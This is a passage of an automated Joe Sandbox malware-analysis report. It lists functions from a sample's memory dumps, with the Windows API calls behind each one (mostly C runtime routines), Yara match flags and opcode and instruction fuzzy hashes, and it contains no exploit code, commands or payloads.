Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: 40216271600206AFEB20AF65DC8497BB7ADFF4826C71085A9E92B97150EF39FC518B50

Function 004111DB Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: c7293b4e2709a45a538168f771ca0d14dcb5837bd486a4ca313c9b6cb4d0090e
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: DF21C971600219AFDB20AF659C40DEB776DAF44368B10456BFA29E7261D738DC8187A8

Function 04B61442 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: 0937be4c3a0f95bc59f73deebab5d1a5cf266e586aac11e6638c6380ec15a4fc
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: C3219671200205AFEB10AF6DDC8096BB7AEFF4426970085A5ED1BD7150E739FC118BA0

Function 00418445 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041844D

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00418485
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004184A5

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 42e04dca39cc9313a1bac36138922e873b2761e214a8738c343e5be4cc190242
Instruction ID: 9202fe00a5822ec58f1db5debff3a6e736622b39abe9cc99b2a2d556b75614f5
Opcode Fuzzy Hash: 42e04dca39cc9313a1bac36138922e873b2761e214a8738c343e5be4cc190242
Instruction Fuzzy Hash: A01104B65005167F6B212BB25D89CEF295CDF89398721402EF905A1201FE2CDE8241BE

Function 04B635A0 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,04B636AF,04B537FE,?,00000000,04B52A70,04B52A72,?,04B63828,00000022,00420B0C,00422950,00422958,04B52A70), ref: 04B63661

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 986a46d7506b7a769d448398190e08aba98ada76e2fce98b8689e474a220f80a
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: 2C210532F05210ABC7319F24EC80A5A7BA9EB42760F1511B0ED07A73D1DB38FD02C694

Function 04B686AC Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 04B686B4

Part of subcall function 04B651BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B65422,?,00000000,-00000008), ref: 04B65220

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04B686EC
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04B6870C

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction ID: ba30c4dbe4331058796c72856df44962592a77fb103f38f2799d84ca77c680ad
Opcode Fuzzy Hash: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction Fuzzy Hash: E31184B66025197F77213B725CCCCBF6DADDE4919870104B4F90796100FA68EE0185B6

Function 04D0AD84 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04D0ADA0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04D0ADB9

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: f7843e2fb899912db9a9cc4b2dd996d079f34fc9236902377943b3a1eb3cbf7c
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: B301B53230D3119EE73427B86CC4B5F2B54FB11279360823AE510572E1FE95A84255E8

Function 0041CBE8 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000), ref: 0041CBFF
GetLastError.KERNEL32(?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000,?,0041A021,?), ref: 0041CC0B

Part of subcall function 0041CBD1: CloseHandle.KERNEL32(FFFFFFFE,0041CC1B,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000), ref: 0041CBE1

___initconout.LIBCMT ref: 0041CC1B

Part of subcall function 0041CB93: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041CBC2,0041C84C,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CBA6

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CC30

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: b2f8e5e77f4d676ad0e685e0439cc39e0844638a97b8ad054d7e4805cd8d945f
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: D6F01C36580118BBCF221F95ED45ADA3F26FF497A0B404031FA0D96121D6328C619BD8

Function 04B6CE4F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,04B6CAC6,00000000,00000001,?,00000000,?,04B69CE5,00000000,00000000,00000000), ref: 04B6CE66
GetLastError.KERNEL32(?,04B6CAC6,00000000,00000001,?,00000000,?,04B69CE5,00000000,00000000,00000000,00000000,00000000,?,04B6A288,?), ref: 04B6CE72

Part of subcall function 04B6CE38: CloseHandle.KERNEL32(0042CA30,04B6CE82,?,04B6CAC6,00000000,00000001,?,00000000,?,04B69CE5,00000000,00000000,00000000,00000000,00000000), ref: 04B6CE48

___initconout.LIBCMT ref: 04B6CE82

Part of subcall function 04B6CDFA: CreateFileW.KERNEL32(00428728,40000000,00000003,00000000,00000003,00000000,00000000,04B6CE29,04B6CAB3,00000000,?,04B69CE5,00000000,00000000,00000000,00000000), ref: 04B6CE0D

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,04B6CAC6,00000000,00000001,?,00000000,?,04B69CE5,00000000,00000000,00000000,00000000), ref: 04B6CE97

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: dc75c7f2d23fda5d49179f7743a2973bf4464179386fd2fb86f42017cf95b76e
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: FCF0303A500118BBCF325F95DC04ACD3F36FF086A1B404470FA6E96130D736A821ABD4

Function 1000CD22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001), ref: 1000CD39
GetLastError.KERNEL32(?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001,?,1000BFFB,10009A1A), ref: 1000CD45

Part of subcall function 1000CD0B: CloseHandle.KERNEL32(FFFFFFFE,1000CD55,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001), ref: 1000CD1B

___initconout.LIBCMT ref: 1000CD55

Part of subcall function 1000CCCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000CCFC,1000C7D5,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CCE0

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CD6A

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction ID: e182fa176b596d651ba3484f1012657cf00b5fef4cb1dd311ab1bc31a0a6f155
Opcode Fuzzy Hash: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction Fuzzy Hash: 53F030368002A9BBEF125F95CC48EC93FA6FB0D3E0F018025FA0885130DA32C9609B90

Function 00409D0D Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00409CAA,00000064), ref: 00409D30
LeaveCriticalSection.KERNEL32(0042D064,00401044,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D3A
WaitForSingleObjectEx.KERNEL32(00401044,00000000,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D4B
EnterCriticalSection.KERNEL32(0042D064,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D52

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction ID: ed1c7c09b24d5124ebc712e1e7f2573f2e40a4f9289d25860d0ee5ca28a3c269
Opcode Fuzzy Hash: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction Fuzzy Hash: 8FE0ED31A85628FBCB111B50FC09AD97F24AF09759F508032F90976171C7795D039BDD

Function 00410EDD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00410F6D

Strings

pow, xrefs: 00410F45, 00410F62

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction ID: 1dd945e64f0d07477a36e3934c2b0d008af5dc79b4df0e8c4bba017ec81d751d
Opcode Fuzzy Hash: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction Fuzzy Hash: 65512B75A0820296CB217714DA023EB6BA49B40750F618D6FF095463E9EBBCCCD7DA4E

Function 00409590 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 183COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 004096CE
std::_Xinvalid_argument.LIBCPMT ref: 004096E5

Strings

vector too long, xrefs: 004096E0

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_taskXinvalid_argumentstd::_
String ID: vector too long
API String ID: 3646673767-2873823879
Opcode ID: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction ID: f4da2a5e80598445161bac14147e50f437b92e93805fe79093e1120e4695fd56
Opcode Fuzzy Hash: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction Fuzzy Hash: 5A5125B2E002159BCB14DF69C84066EB7A5EF80314F10067FE805FB382EB75AD408BD5

Function 04B5BA27 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 04B5BA66
__IsNonwritableInCurrentImage.LIBCMT ref: 04B5BB1A

Strings

csm, xrefs: 04B5BB04

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 6a74517b29ae47185d2eca4c2dff8f738dcdf65939a10d7df17f483f2a1baf51
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 1B418F34A04208ABDF10DF68C884B9EFBB5EF44318F148095EC15AB361DB75BA16CB91

Function 0040C060 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0040C085

Strings

RCC, xrefs: 0040C09F
MOC, xrefs: 0040C097

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: fbbd96fe11317218043276dd35bf9a0f08be73a273ccdb2477d392fe495d2932
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: EC414972900209EFCF15DF94CD81AAEBBB5BF48304F14826AF9057B2A2D3399951DF58

Function 04B5C2C7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04B5C2EC

Strings

RCC, xrefs: 04B5C306
MOC, xrefs: 04B5C2FE

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: 35294f6277549a3e14c31040a3c7fa59444a359fd4f07a065d1c018ac29356a3
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: C341377190020DEFDF25CF98CD80BEEBBB6FF48304F148099E904A7220D239A950DB50

Function 100044D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 100044FB

Strings

MOC, xrefs: 1000450D
RCC, xrefs: 10004515

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction ID: 0fa13f4c886c2deeb8e1184eea68dc96f9460117e0f406c7378fe553058e7938
Opcode Fuzzy Hash: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction Fuzzy Hash: 7B419DB5900109AFEF06CF94CC81AEE7BB5FF48384F168059F9046B25AD736EA50CB55

Function 04D00700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D0078C

Strings

]DFE, xrefs: 04D00720
KN, xrefs: 04D0072E

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: KN$]DFE
API String ID: 1385522511-873640922
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: 4293d956b2bdec09bda07c90788e28a8d8ae93ca3f322661f7380e5c78bad685
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: E82128B0F00244DAE720EF64E8557A9B760EF59308F44C269E4541B2A1EB7461C2CF5D

Function 00401300 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040138C

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

]DFE, xrefs: 00401320
KN, xrefs: 0040132E

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: KN$]DFE
API String ID: 2296764815-873640922
Opcode ID: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction ID: c7a597aca517c447b6d362385d7579deaaf1cbe7f5b4030a5a3b5ced69f100f5
Opcode Fuzzy Hash: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction Fuzzy Hash: 57210CB0F00384CAE724DF64E8467B9B760AF19308F44827AF8546B2B2D77855C2CB5D

Function 04B51567 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B515F3

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

]DFE, xrefs: 04B51587
KN, xrefs: 04B51595

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: KN$]DFE
API String ID: 4132704954-873640922
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: bbd05d9e6ce5e25e0b0a74694e4a1bd367812ab245d452f90528bb1357b2aabd
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: 952106E0F00284CAE724AF68E8457A8F770AF1A308F8492A5E8541B271DB7465C6CB5D

Function 04D07810 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D0787E

Strings

CD^O, xrefs: 04D07830
_DC[, xrefs: 04D07827

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: 29616861664ccf82fd99b5c3f471ce708fba2fd4307b1426c64272f2ceb2adaf
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: B201F970F043549BC720EFB8AD51BAD7360EB18315F9082B9D1155B2D1EBB4B541CB99

Function 04D07250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D072BE

Strings

CD^O, xrefs: 04D07270
_DC[, xrefs: 04D07267

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: 67b41bf4fea855232aecff75476d19b09ff746544a2bb70f0378110791ebaebc
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: 5501F9B1F00248DFC720EFB8AD51B6D7360EB15304FA042A9E5195B2D0E7747541CB56

Function 00408410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040847E

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

CD^O, xrefs: 00408430
_DC[, xrefs: 00408427

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction ID: e43b8a85f3d3021ebc641e50c070c1ece00a7f90a8480fa311e7b242f9d929d7
Opcode Fuzzy Hash: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction Fuzzy Hash: A0012B70F04258CBC720EBB9AD41A5D7360A718304F50017ED51467381EB789941878D

Function 00407E50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407EBE

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

_DC[, xrefs: 00407E67
CD^O, xrefs: 00407E70

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction ID: 75c8c8ce13ad0cb5c53a0921d7a0f1eb8d827427a00a4f276ef8137bbb37e5e9
Opcode Fuzzy Hash: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction Fuzzy Hash: 5601DB71F05248CFC720EBA4ED4196A7760AB15304F90017EE51967391D6785D41874F

Function 04B58677 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B586E5

